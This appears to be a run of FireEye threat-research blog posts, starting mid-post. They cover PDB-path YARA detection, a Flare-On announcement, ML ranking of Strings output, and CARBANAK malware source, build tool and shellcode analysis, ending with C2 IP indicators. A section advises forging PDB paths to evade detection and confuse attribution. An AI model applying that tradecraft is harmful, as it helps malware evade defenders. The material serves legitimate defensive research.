of varying size and fidelity for analysts to hunt through. Those rules
with a low signal-to-noise ratio (SNR) could be fed to automated
systems for logging or contextualization of file objects, whereas
rules with a higher SNR could be fed directly to analysts for review
or investigation.
Our adversaries are human. They err. And when they do, we can catch
them. We are pleased to release ConventionEngine
rules for anyone to use in that effort. Together these rules cover
samples from over 300 named malware families, hundreds of unnamed
malware families, 39 different APT and FIN threat groups, and over 200
UNC (uncategorized)
groups of activity.
We hope you can use these rules as templates, or as starting points
for further PDB path detection ideas. There’s plenty of room for
additional keywords, terms, and anomalies. Be advised, whether for
detection or hunting or merely for context, you will need to tune and
add additional logic to each of these rules to make the size of the
resulting haystacks appropriate for your purposes, your operations and
the technology within your organization. When judiciously implemented,
we believe these rules can enrich analysis and detect things that are
missed elsewhere.
PDB Paths for Intelligence Teams
Gettin' Lucky with APT31
During an incident response investigation, we found an APT31 account
on Github being used for staging malware files and for malware
communications. The intrusion operators using this account weren’t shy
of putting full code packages right into the repositories and we were
able to recover actual PDB files associated with multiple malware
ecosystems. Using the actual PDB files, we were able to see the full
directory paths of the raw malware source code, representing a
considerable intelligence gain about the malware original development
environment. We used what we found in the PDB itself to search for
other files related to this malware author.
Finding Malware Source Code Using PDBs
Malware PDBs themselves are easier to find than one may think. Sure,
sometimes the authors are kind enough to leave everything up on
Github. But there are some other occasions too: sometimes malware
source code will get inadvertently flagged by antivirus or endpoint
detection and response (EDR) agents; sometimes malware source code
will be left in open directories; and sometimes malware source code
will get uploaded to the big malware repositories.
You can find malware source code by looking for things like Visual
Studio solution files, or simply with Yara rules looking for PDB files
in archives that have some non-zero detection rate or other metadata
that raises the likelihood that some component in the archive is
indeed malicious.
rule PDB_Header_V2 { meta:
author="@stvemillertime"
description = "This looks for PDB files based on headers.
strings: //$string = "Microsoft C/C++
program database 2.00" $hex = {4D696372 6F736F66
7420432F 432B2B20 70726F67 72616D20 64617461 62617365 20322E30
300D0A} condition: $hex at 0 rule
PDB_Header_V7 { meta:
author="@stvemillertime" description =
"This looks for PDB files based on headers.
strings: //$string = "Microsoft C/C++ MSF
7.00" $hex = {4D696372 6F736F66 7420432F
432B2B20 4D534620 372E3030} condition:
$hex at 0 }
PDB Paths for Offensive Teams
FireEye has confirmed individual attribution to bona fide threat
actors and red teamers based in part on leaked PDB paths in malware
samples. The broader analyst community often uses PDB paths for
clustering and pivoting to related malware families and while building
a case for attribution, tracking, or pursuit of malware developers.
Naturally, red team and offensive operators should be aware of the
artifacts that are left behind during the compilation process and
abstain from compiling with symbol generation enabled – basically,
remember to practice good OPSEC on your implants. That said, there is
an opportunity for creating artificial PDB paths should one wish to
intentionally introduce this artifact.
Making PDB Paths Appear More “Legitimate”
One notable differentiator between malware and non-malware is that
malware is typically not developed in an “enterprise” or “commercial”
software development setting. The difference here is that in large
development settings, software engineers are working on big projects
together through productivity tools, and the software is constantly
updated and rebuilt through automated “continuous integration” (CI) or
“continuous delivery” (CD) suites such as Jenkins and TeamCity. This
means that when PDB paths are present in legitimate enterprise
software packages, they often have toolmarks showing their compile
path on a CI/CD build server.
Here are some examples of PDB paths of legitimate software
executables built in a CI/CD environment:
We do not discount the fact that some malware developers are using
CI/CD build environments. We know that some threat actors and malware
authors are indeed adopting contemporary enterprise development
processes, but malware PDBs like this example are extraordinarily rare:
Specifying a custom path for a PDB file is not uncommon in the
development world. An offensive or red team operator may wish to
specify a fake PDB path and can do so easily using compiler linking options.
As our example malware author “smiller” learns and hones their
tradecraft, they may adopt a stealthier approach and choose to include
one of those more “legitimate” looking PDB paths in new malware compilations.
Take smiller’s example malware project located at the path:
Figure 17: hellol.exe and hellol.pdb,
compiled by debug configuration default into its resident folder
It’s easy to change the properties of this project and manually
specify the generation path of the PDB file. From the Visual Studio
taskbar, select Project > Properties, then in the
side pane select Linker > Debugging and fill the
option box for “Generate Program Database File.” This option
accepts Visual Studio macros so there is plenty of flexibility for
scripting and creating custom build configurations for falsifying or
randomizing PDB paths.
Figure 18: hellol project Properties
showing defaults for the PDB path
Figure 19: hellol project Properties now
showing a manually specified path for the (fake) PDB path
When we examine the raw ConsoleApplication1.exe, we can see at the
byte level that the linker has included debug information in the
executable specifying our designated PDB path, which of course is not
real. Or if built at the command line, you could specify /PDBALTPATH
which can create a PDB file name that is does not rely on the file
structure of the build computer.
Figure 20: Rebuilt hellol.exe as seen
through the PEview utility, which shows us the fake PDB path in the
IMAGE_DEBUG_TYPE_CODEVIEW directory of the executable
An offensive or red team operator could intentionally include a PDB
path in a piece of malware, making the executable appear to be
compiled on a CI/CD server which could help the malware fly under the
radar. Additionally, an operator could include a PDB path or strings
associated with a known malware family or threat group to confound
analysts. Why not throw in a small homage to one of your favorite
malware operators or authors, such as the infamous APT33 persona xman_1365_x?
Or perhaps throw in a “\Homework\CS1101\” to make the activity seem
more academic? For whatever reason, if there is PDB manipulation to be
done, it is generally doable with common software development tools.
The Glory and the Nothing of a (Malware) Name
In the context of PDB paths and malware author naming conventions,
it is important to acknowledge the interdependent (and often circular)
nature of “offense” and “defense.” Which came first, a defender
calling a piece of malware a “trojan” or a malware author naming their
code project a “trojan”? Some malware is inspired by prior work. An
author names a code project “MIMIKATZ”, and years later there are hundreds
of related projects and scripts
with derivative names.
Although definitions may vary, we see that both the offensive and
defensive sides characterize the functionality or role of a piece of
malware using much of the same vernacular and inspiration. We suspect
this began with “virus” and that the array of granular, descriptive
terms will continue to grow as public discourse advances the malware
taxonomy. Who would have suspected that how we talked about
malware would ultimately lead to the possibility detecting it? After
all, would a rootkit by any other name be as evil? Somewhere, a
scholar is beaming with wonder at the intersection of malware and linguistics.
Conclusions
If by now you’re thinking this is all kind of silly, don’t worry,
you’re in good company. PDB paths are indeed a wonky attribute of a
file. The mere presence of these paths in an executable is by no means
evil, yet when these paths are present in pieces of malware, they
usually represent acts of operational indiscretion. The idea of
detecting malware based on PDB paths is kind of like detecting a
robber based on what type of hat a person is wearing, if they’re
wearing one at all.
We have been historically successful in using PDB paths mostly as an
analytical pivot, to help us cluster
malware families and track malware developers. When we began to
study PDB paths holistically, we noticed that many malware authors
were using many of the same naming conventions for their folders and
project files. They were naming their malware projects after the
functionality of the malware itself, and they routinely label their
projects with unique, descriptive language.
We found that many malware authors and operators leaked PDB paths
that described the functionality of the malware itself and gave us
insight into the development environment. Furthermore, outside of the
descriptors of the malware development files and environment, when PDB
files are present, we identified anomalies that help us identify files
that are more likely to be circumstantially interesting. There is room
for red team and offensive operators to improve their tradecraft by
falsifying PDB paths for purposes of stealth or razzle-dazzle.
We remain optimistic that we can squeeze some juice from PDB paths
when they are present. A survey of about 2200 named malware families
(including all samples from 41 APT and 10 FIN groups and a couple
million other uncategorized executables) shows that PDB paths are
present in malware about five percent of the time. Imagine if you
could have a detection “backup plan” for five plus percent of malware,
using a feature that is itself inherently non-malicious. That’s kind
of cool, right?
Future Work on Scaling PDB Path Classification
Our ConventionEngine rule pack for PDB path keyword, term and
anomaly detection has been fun and found tons of malware that would
have otherwise been missed. But there are a lot of PDB paths in
malware that do not have such obvious keywords, and so our manual,
cherry-picking, and extraordinarily laborious approach doesn’t scale.
Stay tuned for the next part of our blog series! In Part
Deux, we explore scalable solutions for PDB path feature
generalization and approaches for classification. We believe that data
science approaches will better enable us to surface PDB paths with
unique and interesting values and move towards a classification
solution without any rules whatsoever.
The FireEye Labs Advanced Reverse Engineering (FLARE) team is
thrilled to announce that the popular Flare-On reverse engineering
challenge will return for the sixth straight year. The contest will
begin at 8:00 p.m. ET on Aug. 16, 2019. This is a CTF-style challenge
for all active and aspiring reverse engineers, malware analysts, and
security professionals. The contest runs for six full weeks and ends
at 8:00 p.m. ET on Sept. 27, 2019.
This year’s contest will feature a total of 12 challenges covering a
variety of architectures from x86 on Windows, .NET, Linux, and
Android. Also, for the first time in Flare-On history, the contest
will feature a NES ROM challenge. This is one of the only
Windows-centric CTF contests out there and we have crafted it to
represent the skills and challenges our FLARE team faces.
If you are skilled and dedicated enough to complete the Sixth
Flare-On challenge, you will receive a prize and recognition on the
Flare-On website for your accomplishment. Prize details will be
revealed later, but as always, it will be worthwhile swag to earn the
envy of your peers. Previous prizes included belt buckles, a replica
police badge, a challenge coin, and a huge pin.
Check the Flare-On website for a
live countdown timer, to view the previous year’s winners, and to
download past challenges and solutions for practice. For official news
and information, we will be using the Twitter hashtag: #flareon6
Reverse engineers, forensic investigators, and incident responders
have an arsenal of tools at their disposal to dissect malicious
software binaries. When performing malware analysis, they successively
apply these tools in order to gradually gather clues about a binary’s
function, design detection methods, and ascertain how to contain its
damage. One of the most useful initial steps is to inspect its
printable characters via the Strings
program. A binary will often contain strings if it performs
operations like printing an error message, connecting to a URL,
creating a registry key, or copying a file to a specific location –
each of which provide crucial hints that can help drive future analysis.
Manually filtering out these relevant strings can be time consuming
and error prone, especially considering that:
Relevant strings occur
disproportionately less often than irrelevant strings.
Larger binaries can output upwards of tens of thousands of
individual strings.
The definition of "relevant” can
vary significantly across individual human analysts.
Investigators would never want to miss an important clue that could
have reduced their time spent performing the malware analysis, or even
worse, led them to draw incomplete or incorrect conclusions. In this
blog post, we will demonstrate how the FireEye Data Science (FDS) and
FireEye Labs Reverse Engineering (FLARE) teams recently collaborated
to streamline this analyst pain point using machine learning.
Highlights
Running the
Strings program on a piece of malware inevitably
produces noisy strings mixed in with important ones, which
can only be uncovered after sifting and scrolling through
the entirety of its messy output. FireEye’s new machine
learning model that automatically ranks strings based on
their relevance for malware analysis speeds up this process
at scale.
Knowing which individual strings are
relevant often requires highly experienced analysts.
Quality, security-relevant labeled training data can be time
consuming and expensive to obtain, but weak supervision that
leverages the domain expertise of reverse engineers helps
accelerate this bottleneck.
Our proposed
learning-to-rank model can efficiently prioritize Strings
outputs from individual malware samples. On a dataset of
relevant strings from over 7 years of malware reports
authored by FireEye reverse engineers, it also performs well
based on criteria commonly used to evaluate recommendation
and search engines.
Background
Each string returned by the Strings program is represented by
sequences of 3 characters or more ending with a null terminator,
independent of any surrounding context and file formatting. These
loose criteria mean that Strings may identify sequences of
characters as strings when they are not human-interpretable. For
example, if consecutive bytes 0x31, 0x33, 0x33, 0x37, 0x00 appear
within a binary, Strings will interpret this as “1337.”
However, those ASCII characters may not actually represent that string
per se; they could instead represent a memory address, CPU
instructions, or even data utilized by the program. Strings
leaves it up to the analyst to filter out such irrelevant strings that
appear within its output. For instance, only a handful of the strings
listed in Figure 1 that originate from an example malicious binary are
relevant from a malware analyst’s point of view.
Ranking strings in terms of descending relevance would make an
analyst’s life much easier. They would then only need to focus their
attention on the most relevant strings located towards the top of the
list, and simply disregard everything below. However, solving the task
of automatically ranking strings is not trivial. The space of relevant
strings is unstructured and vast, and devising finely tuned rules to
robustly account for all the possible variations among them would be a
tall order.
Learning to Rank Strings Output
This task can instead be formulated in a machine learning (ML)
framework called learning to
rank (LTR), which has been historically applied to problems like
information retrieval, machine translation, web search, and
collaborative filtering. One way to tackle LTR problems is by using Gradient
Boosted Decision Trees (GBDTs). GBDTs successively learn
individual decision trees that reduce the loss using a gradient
descent procedure, and ultimately use a weighted sum of every trees’
prediction as an ensemble. GBDTs with an LTR objective function can
learn class probabilities to compute each string’s expected relevance,
which can then be used to rank a given Strings output. We
provide a high-level overview of how this works in Figure 2.
In the initial train() step of Figure 2,
over 25 thousand binaries are run through the Strings program
to generate training data consisting of over 18 million total
strings. Eachtraining sample then corresponds to the
concatenated list of ASCII and Unicode strings output by the
Strings program on that input file. To train the model, these
raw strings are transformed into numerical vectors containing natural
language processing features like Shannon entropy and character
co-occurrence frequencies, together with domain-specific signals like
the presence of indicators of compromise (e.g. file paths, IP
addresses, URLs, etc.), format strings, imports, and other relevant landmarks.
Figure 2: The ML-based LTR framework
ranks strings based on their relevance for malware analysis. This
figure illustrates different steps of the machine learning modeling
process: the initial train() step is denoted by solid arrows and
boxes, and the subsequent predict() and sort() steps are denoted by
dotted arrows and boxes.
Each transformed string’s feature vector is associated with a
non-negative integer label that represents their relevance for malware
analysis. Labels range from 0 to 7, with higher numbers indicating
increased relevance. To generate these labels, we leverage the subject
matter knowledge of FLARE analysts to apply heuristics and impose
high-level constraints on the resulting label distributions. While
this weak
supervision approach may generate noise and spurious errors
compared to an ideal case where every string is manually labeled, it
also provides an inexpensive and model-agnostic way to integrate
domain expertise directly into our GBDT model.
Next during the predict() step of Figure
2, we use the trained GBDT model to predict ranks for the strings
belonging to an input file that was not originally part of the
training data, and in this example query we use the Strings
output shown in Figure 1. The model predicts ranks for each string in
the query as floating-point numbers that represent expected relevance
scores, and in the final sort() step of
Figure 2, strings are sorted in descending order by these scores.
Figure 3 illustrates how this resulting prediction achieves the
desired goal of ranking strings according to their relevance for
malware analysis.
Figure 3: The resulting ranking on the
strings depicted in both Figure 1 and in the truncated query of
Figure 2. Contrast the relative ordering of the strings shown here
to those otherwise identical lists.
The predicted and sorted string rankings in Figure 3 show
network-based indicators on top of the list, followed by registry
paths and entries. These reveal the potential C2 server and malicious
behavior on the host. The subsequent output consisting of user-related
information is more likely to be benign, but still worthy of
investigation. Rounding out the list are common strings like Windows
API functions and PE artifacts that tend to raise no red flags for the
malware analyst.
Quantitative Evaluation
While it seems like the model qualitatively ranks the above strings
as expected, we would like some quantitative way to assess the model’s
performance more holistically. What evaluation criteria can we use to
convince ourselves that the model generalizes beyond the coverage of
our weak supervision sources, and to compare models that are trained
with different parameters?
We turn to the recommender systems literature, which uses the Normalized
Discounted Cumulative Gain (NDCG) score to evaluate ranking of
items (i.e. individual strings) in a collection (i.e. a Strings
output). NDCG sounds complicated, but let’s boil it down one letter at
a time:
“G” is for gain, which
corresponds to the magnitude of each string’s relevance.
“C” is for cumulative, which refers to the cumulative gain or
summed total of every string’s relevance.
“D” is for
discounted, which divides each string’s predicted relevance by a
monotonically increasing function like the logarithm of its ranked
position, reflecting the goal of having the most relevant strings
ranked towards the top of our predictions.
“N” is for
normalized, which means dividing DCG scores by ideal DCG scores
calculated for a ground truth holdout dataset, which we obtain from
FLARE-identified relevant strings contained within historical
malware reports. Normalization makes it possible to compare scores
across samples since the number of strings within different
Strings outputs can vary widely.
Figure 4: Kernel Density Estimate of
NDCG@100 scores for Strings outputs from the holdout dataset. Scores
are calculated for the original ordering after simply running the
Strings program on each binary (gray) versus the predicted ordering
from the trained GBDT model (red).
In practice, we take the first k strings indexed by their
ranks within a single Strings output, where the k
parameter is chosen based on how many strings a malware analyst will
attend to or deem relevant on average. For our purposes we set k =
100 based on the approximate average number of relevant strings
per Strings output. NDCG@k scores are bounded between 0
and 1,with scores closer to 1 indicating better prediction
quality in which more relevant strings surface towards the top. This
measurement allows us to evaluate the predictions from a given model
versus those generated by other models and ranked with different algorithms.
To quantitatively assess model performance, we run the strings from
each sample that have ground truth FLARE reports though the predict() step of Figure 2, and compare their
predicted ranks with a baseline of the original ranking of strings
output by Strings. The divergence in distributions of NDCG@100
scores between these two approaches demonstrates that the trained GBDT
model learns a useful structure that generalizes well to the
independent holdout set (Figure 4).
Conclusion
In this blog post, we introduced an ML model that learns to rank
strings based on their relevance for malware analysis. Our results
illustrate that it can rank Strings output based both on
qualitative inspection (Figure 3) and quantitative evaluation of
NDCG@k (Figure 4). Since Strings is so commonly applied
during malware analysis at FireEye and elsewhere, this model could
significantly reduce the overall time required to investigate
suspected malicious binaries at scale. We plan on continuing to
improve its NDCG@k scores by training it with more high
fidelity labeled data, incorporating more sophisticated modeling and
featurization techniques, and soliciting further analyst feedback from
field testing.
It’s well known that malware authors go through great lengths to
conceal useful strings from analysts, and a potential blind spot to
consider for this model is that the utility of Strings itself
can be thwarted by obfuscation. However, open source tools like the FireEye
Labs Obfuscated Strings Solver (FLOSS) can be used as an in-line
replacement for Strings. FLOSS automatically extracts printable
strings just as Strings does, but additionally reveals
obfuscated strings that have been encoded, packed, or manually
constructed on the stack. The model can be readily trained on FLOSS
outputs to rank even obfuscated strings. Furthermore, since it can be
applied to arbitrary lists of strings, the model could also be used to
rank strings extracted from live memory dumps and sandbox runs.
Part
One, Part
Two and Part
Three of CARBANAK Week are behind us. In this final blog post, we
dive into one of the more interesting tools that is part of the
CARBANAK toolset. The CARBANAK authors wrote their own video player
and we happened to come across an interesting video capture from
CARBANAK of a network operator preparing for an offensive engagement.
Can we replay it?
About the Video Player
The CARBANAK backdoor is capable of recording video of the victim’s
desktop. Attackers reportedly viewed
recorded desktop videos to gain an understanding of the
operational workflow of employees working at targeted banks, allowing
them to successfully insert fraudulent transactions that remained
undetected by the banks’ verification processes. As mentioned in a
previous blog post announcing
the arrest of several FIN7 members, the video data file format
and the player used to view the videos appeared to be custom written.
The video player, shown in Figure 1, and the C2 server for the bots
were designed to work together as a pair.
Figure 1: CARBANAK desktop video player
The C2 server wraps video stream data received from a CARBANAK bot
in a custom video file format that the video player understands, and
writes these video files to a location on disk based on a convention
assumed by the video player. The StreamVideo
constructor shown in Figure 2 creates a new video file that will be
populated with the video capture data received from a CARBANAK bot,
prepending a header that includes the signature TAG, timestamp data, and the IP address of the
infected host. This code is part of the C2 server project.
Figure 2:
carbanak\server\Server\Stream.cs – Code snippet from the C2 server
that serializes video data to file
Figure 3 shows the LoadVideo function that
is part of the video player project. It validates the file type by
looking for the TAG signature, then reads
the timestamp values and IP address just as they were written by the
C2 server code in Figure 2.
Figure 3:
carbanak\server\Player\Video.cs – Player code that loads a video
file created by the C2 server
Video files have the extension .frm as
shown in Figure 4 and Figure 5. The C2 server’s CreateStreamVideo function shown in Figure 4
formats a file path following a convention defined in the MakeStreamFileName function, and then calls the
StreamVideo constructor from Figure 2.
Figure 4:
carbanak\server\Server\RecordFromBot.cs – Function in the C2 server
that formats a video file name and adds the extension "frm"
The video player code snippet shown in Figure 5 follows video file
path convention, searching all video file directories for files with
the extension .frm that have begin and end
timestamps that fall within the range of the DateTime variable dt.
Figure 5:
carbanak\server\Player\Video.cs – Snippet from Player code that
searches for video files with "frm" extension
An Interesting Video
We came across several video files, but only some were compatible
with this video player. After some analysis, it was discovered that
there are at least two different versions of the video file format,
one with compressed video data and the other is raw. After some slight
adjustments to the video processing code, both formats are now
supported and we can play all videos.
Figure 6 shows an image from one of these videos in which the person
being watched appears to be testing post-exploitation commands and
ensuring they remain undetected by certain security monitoring tools.
Figure 6: Screenshot of video playback
captured by CARBANAK video capability
The list of commands in the figure centers around persistence,
screenshot creation, and launching various payloads. Red teamers often
maintain such generic notes and command snippets for accomplishing
various tasks like persisting, escalating, laterally moving, etc. An
extreme example of this is Ben Clark’s book RTFM.
In advance of an operation, it is customary to tailor the file names,
registry value names, directories, and other parameters to afford
better cover and prevent blue teams from drawing inferences based on
methodology. Furthermore, Windows behavior sometimes yields surprises,
such as value length limitations, unexpected interactions between
payloads and specific persistence mechanisms, and so on. It is in the
interest of the attacker to perform a dry run and ensure that
unanticipated issues do not jeopardize the access that was gained.
The person being monitored via CARBANAK in this video appears to be
a network operator preparing for attack. This could either be because
the operator was testing CARBANAK, or because they were being
monitored. The CARBANAK builder and other interfaces are never shown,
and the operator is seen preparing several publicly available tools
and tactics. While purely speculation, it is possible that this was an
employee of the front company Combi Security which we now
know was operated by FIN7 to recruit potentially unwitting
operators. Furthermore, it could be the case that FIN7 used CARBANAK’s
tinymet command to spawn Meterpreter
instances and give unwitting operators access to targets using
publicly available tools under the false premise of a penetration test.
Conclusion
This final installment concludes our four-part series, lovingly
dubbed CARBANAK Week. To recap, we have shared at length many details
concerning our experience as reverse engineers who, after spending
dozens of hours reverse engineering a large, complex family of
malware, happened upon the source code and toolset for the malware.
This is something that rarely ever happens!
We hope this week’s lengthy addendum to FireEye’s continued CARBANAK
research has been interesting and helpful to the broader security
community in examining the functionalities of the framework and some
of the design considerations that went into its development.
So far we have received lots of positive feedback about our
discovery of the source code and our recent exposé of the CARBANAK
ecosystem. It is worth highlighting that much of what we discussed in
CARBANAK Week was originally covered in our FireEye’s Cyber Defense
Summit 2018 presentation titled “Hello,
Carbanak!”, which is freely
available to watch online (a must-see for malware and lederhosen
enthusiasts alike). You can expect similar topics and an electrifying
array of other malware analysis, incident response, forensic
investigation and threat intelligence discussions at FireEye’s
upcoming Cyber Defense
Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C.
We covered a lot of ground in Part
One and Part
Two of our CARBANAK Week blog series. Now let's take a look back
at some of our previous analysis and see how it holds up.
In June 2017, we published a blog post sharing novel
information about the CARBANAK backdoor, including technical
details, intel analysis, and some interesting deductions about its
operations we formed from the results of automating analysis of
hundreds of CARBANAK samples. Some of these deductions were claims
about the toolset and build practices for CARBANAK. Now that we have a
snapshot of the source code and toolset, we also have a unique
opportunity to revisit these deductions and shine a new light on them.
Was There a Build Tool?
Let’s first take a look at our deduction about a build tool for CARBANAK:
“A build tool is likely being used by these attackers that allows
the operator to configure details such as C2 addresses, C2
encryption keys, and a campaign code. This build tool encrypts the
binary’s strings with a fresh key for each build.”
We came to this deduction from the following evidence:
“Most of CARBANAK’s strings are encrypted in order to make analysis
more difficult. We have observed that the key and the cipher texts
for all the encrypted strings are changed for each sample that we
have encountered, even amongst samples with the same compile time.
The RC2 key used for the HTTP protocol has also been observed to
change among samples with the same compile time. These observations
paired with the use of campaign codes that must be configured denote
the likely existence of a build tool.”
Figure 1 shows three keys used to decode the strings in CARBANAK,
each pulled from a different CARBANAK sample.
Figure 1: Decryption keys for strings in
CARBANAK are unique for each build
It turns out we were spot-on with this deduction. A build tool was
discovered in the CARBANAK source dump, pictured with English
translations in Figure 2.
Figure 2: CARBANAK build tool
With this build tool, you specify a set of configuration options
along with a template CARBANAK binary, and it bakes the configuration
data into the binary to produce the final build for distribution. The
Prefix text field allows the operator to
specify a campaign code. The Admin host text
fields are for specifying C2 addresses, and the Admin password text field is the secret used to
derive the RC2 key for encrypting communication over CARBANAK’s
pseudo-HTTP protocol. This covers part of our deduction: we now know
for a fact that a build tool exists and is used to configure the
campaign code and RC2 key for the build, amongst other items. But what
about the encoded strings? Since this would be something that happens
seamlessly behind the scenes, it makes sense that no evidence of it
would be found in the GUI of the build tool. To learn more, we had to
go to the source code for both the backdoor and the build tool.
Figure 3 shows a preprocessor
identifier named ON_CODE_STRING defined in
the CARBANAK backdoor source code that when enabled, defines macros
that wrap all strings the programmer wishes to encode in the binary.
These functions sandwich the strings to be encoded with the strings
“BS” and “ES”. Figure 4 shows a small snippet of code from the header
file of the build tool source code defining BEG_ENCODE_STRING as “BS” and END_ENCODE_STRING as “ES”. The build tool searches
the template binary for these “BS” and “ES” markers, extracts the
strings between them, encodes them with a randomly generated key, and
replaces the strings in the binary with the encoded strings. We came
across an executable named bot.dll that
happened to be one of the template binaries to be used by the build
tool. Running strings on this binary revealed that most meaningful
strings that were specific to the workings of the CARBANAK backdoor
were, in fact, sandwiched between “BS” and “ES”, as shown in Figure 5.
Figure 3: ON_CODE_STRING parameter
enables easy string wrapper macros to prepare strings for encoding
by build tool
Figure 4: builder.h macros for encoded
string markers
Figure 5: Encoded string markers in
template CARBANAK binary
Operators’ Access To Source Code
Let’s look at two more related deductions from our blog post:
“Based upon the information we have observed, we believe that at
least some of the operators of CARBANAK either have access to the
source code directly with knowledge on how to modify it or have a
close relationship to the developer(s).”
“Some of the operators may be compiling their own builds of the
backdoor independently.”
The first deduction was based on the following evidence:
“Despite the likelihood of a build tool, we have found 57 unique
compile times in our sample set, with some of the compile times
being quite close in proximity. For example, on May 20, 2014, two
builds were compiled approximately four hours apart and were
configured to use the same C2 servers. Again, on July 30, 2015, two
builds were compiled approximately 12 hours apart.”
To investigate further, we performed a diff of two CARBANAK samples
with very close compile times to see what, if anything, was changed in
the code. Figure 6 shows one such difference.
Figure 6: Minor differences between two
closely compiled CARBANAK samples
The POSLogMonitorThread function is only
executed in Sample A, while the blizkoThread function is only executed in
Sample B (Blizko is a Russian funds transfer service,
similar to PayPal). The POSLogMonitorThread
function monitors for changes made to log files for specific point of
sale software and sends parsed data to the C2 server. The blizkoThread function determines whether the user
of the computer is a Blizko customer by searching for specific
values in the registry. With knowledge of these slight differences, we
searched the source code and discovered once again that preprocessor
parameters were put to use. Figure 7 shows how this function will
change depending on which of three compile-time parameters are enabled.
Figure 7: Preprocessor parameters
determine which functionality will be included in a template binary
This is not definitive proof that operators had access to the source
code, but it certainly makes it much more plausible. The operators
would not need to have any programming knowledge in order to fine tune
their builds to meet their needs for specific targets, just simple
guidance on how to add and remove preprocessor parameters in Visual Studio.
Evidence for the second deduction was found by looking at the binary
C2 protocol implementation and how it has evolved over time. From our
previous blog post:
“This protocol has undergone several changes over the years, each
version building upon the previous version in some way. These
changes were likely introduced to render existing network signatures
ineffective and to make signature creation more difficult.”
Five versions of the binary C2 protocol were discovered amongst our
sample set, as shown in Figure 8. This figure shows the first noted
compile time that each protocol version was found amongst our sample
set. Each new version improved the security and complexity of the protocol.
Figure 8: Binary C2 protocol evolution
shown through binary compilation times
If the CARBANAK project was centrally located and only the template
binaries were delivered to the operators, it would be expected that
sample compile times should fall in line with the evolution of the
binary protocol. Except for one sample that implements what we call
“version 3” of the protocol, this is how our timeline looks. A
probable explanation for the date not lining up for version 3 is that
our sample set was not wide enough to include the first sample of this
version. This is not the only case we found of an outdated protocol
being implemented in a sample; Figure 9 shows another example of this.
Figure 9: CARBANAK sample using outdated
version of binary protocol
In this example, a CARBANAK sample found in the wild was using
protocol version 4 when a newer version had already been available for
at least two months. This would not be likely to occur if the source
code were kept in a single, central location. The rapid-fire fine
tuning of template binaries using preprocessor parameters, combined
with several samples of CARBANAK in the wild implementing outdated
versions of the protocol indicate that the CARBANAK project is
distributed to operators and not kept centrally.
Names of Previously Unidentified Commands
The source code revealed the names of commands whose names were
previously unidentified. In fact, it also revealed commands that were
altogether absent from the samples we previously blogged about because
the functionality was disabled. Table 1 shows the commands whose names
were newly discovered in the CARBANAK source code, along with a
summary of our analysis from the blog post.
Hash
Prior FireEye Analysis
Name
0x749D968
(absent)
msgbox
0x6FD593
(absent)
ifobs
0xB22A5A7
Add/update klgconfig
updklgcfg
0x4ACAFC3
Upload
files to the C2 server
findfiles
0xB0603B4
Download and execute shellcode
tinymet
Table 1: Command hashes previously not
identified by name, along with description from prior FireEye analysis
The msgbox command was commented out
altogether in the CARBANAK source code, and is strictly for debugging,
so it never appeared in public analyses. Likewise, the ifobs command did not appear in the samples we
analyzed and publicly documented, but likely for a different reason.
The source code in Figure 10 shows the table of commands that CARBANAK
understands, and the ifobs command (0x6FD593) is surrounded by an #ifdef, preventing the ifobs code from being compiled into the backdoor
unless the ON_IFOBS preprocessor parameter
is enabled.
Figure 10: Table of commands from
CARBANAK tasking code
One of the more interesting commands, however, is tinymet, because it illustrates how source code
can be both helpful and misleading.
The tinymet Command and Associated Payload
At the time of our initial CARBANAK analysis, we indicated that
command 0xB0603B4 (whose name was unknown at
the time) could execute shellcode. The source code reveals that the
command (whose actual name is tinymet) was
intended to execute a very specific piece of shellcode. Figure 12
shows an abbreviated listing of the code for handling the tinymet command, with line numbers in yellow and
selected lines hidden (in gray) to show the code in a more compact format.
Figure 11: Abbreviated tinymet code listing
The comment starting on line 1672 indicates:
tinymet
command Command format: tinymet {ip:port | plugin_name}
[plugin_name] Retrieve meterpreter from specified
address and launch in memory
On line 1710, the tinymet command handler
uses the single-byte XOR key 0x50 to decode the shellcode. Of note, on
line 1734 the command handler allocates five extra bytes and line 1739
hard-codes a five-byte mov instruction into that space. It populates
the 32-bit immediate operand of the mov
instruction with the socket handle number for the server connection
that it retrieved the shellcode from. The implied destination operand
for this mov instruction is the edi register.
Our analysis of the tinymet command ended
here, until the binary file named met.plug
was discovered. The hex dump in Figure 12 shows the end of this file.
Figure 12: Hex dump of met.plug
The end of the file is misaligned by five missing bytes,
corresponding to the dynamically assembled mov
edi preamble in the tasking source code. However, the
single-byte XOR key 0x50 that was found in the source code did not
succeed in decoding this file. After some confusion and further
analysis, it was realized that the first 27 bytes of this file are a
shellcode decoder that looked very similar to call4_dword_xor.
Figure 13 shows the shellcode decoder and the beginning of the encoded
metsrv.dll. The XOR key the shellcode uses
is 0xEF47A2D0 which fits with how the
five-byte mov edi instruction, decoder, and
adjacent metsrv.dll will be laid out in memory.
Figure 13: Shellcode decoder
Decoding yielded a copy of metsrv.dll
starting at offset 0x1b. When shellcode execution exits the decoder
loop, it executes Metasploit’s executable
DOS header.
Ironically, possessing source code biased our binary analysis in the
wrong direction, suggesting a single-byte XOR key when really there
was a 27-byte decoder preamble using a four-byte XOR key. Furthermore,
the name of the command being tinymet
suggested that the TinyMet Meterpreter
stager was involved. This may have been the case at one point, but
the source code comments and binary files suggest that the developers
and operators have moved on to simply downloading Meterpreter directly
without changing the name of the command.
Conclusion
Having access to the source code and toolset for CARBANAK provided
us with a unique opportunity to revisit our previous analysis. We were
able to fill in some missing analysis and context, validate our
deductions in some cases, and provide further evidence in other cases,
strengthening our confidence in them but not completely proving them
true. This exercise proves that even without access to the source
code, with a large enough sample set and enough analysis, accurate
deductions can be reached that go beyond the source code. It also
illustrates, such as in the case of the tinymet command, that sometimes, without the
proper context, you simply cannot see the full and clear purpose of a
given piece of code. But some source code is also inconsistent with
the accompanying binaries. If Bruce Lee had been a malware analyst, he
might have said that source code is like a finger pointing away to the
moon; don’t concentrate on the finger, or you will miss all that
binary ground truth. Source code can provide immensely rich context,
but analysts must be cautious not to misapply that context to binary
or forensic artifacts.
In the next
and final blog post, we share details on an interesting tool
that is part of the CARBANAK kit: a video player designed to play back
desktop recordings captured by the backdoor.
FireEye has observed the certificate most recently being
served on the following IPs (Table 4):
IP
Hostname
Last Seen
104.193.252.151:443
vds2.system-host[.]net
2019-04-26T14:49:12
185.180.196.35:443
customer.clientshostname[.]com
2019-04-24T07:44:30
213.227.155.8:443
2019-04-24T04:33:52
94.156.133.69:443
2018-11-15T10:27:07
185.174.172.241:443
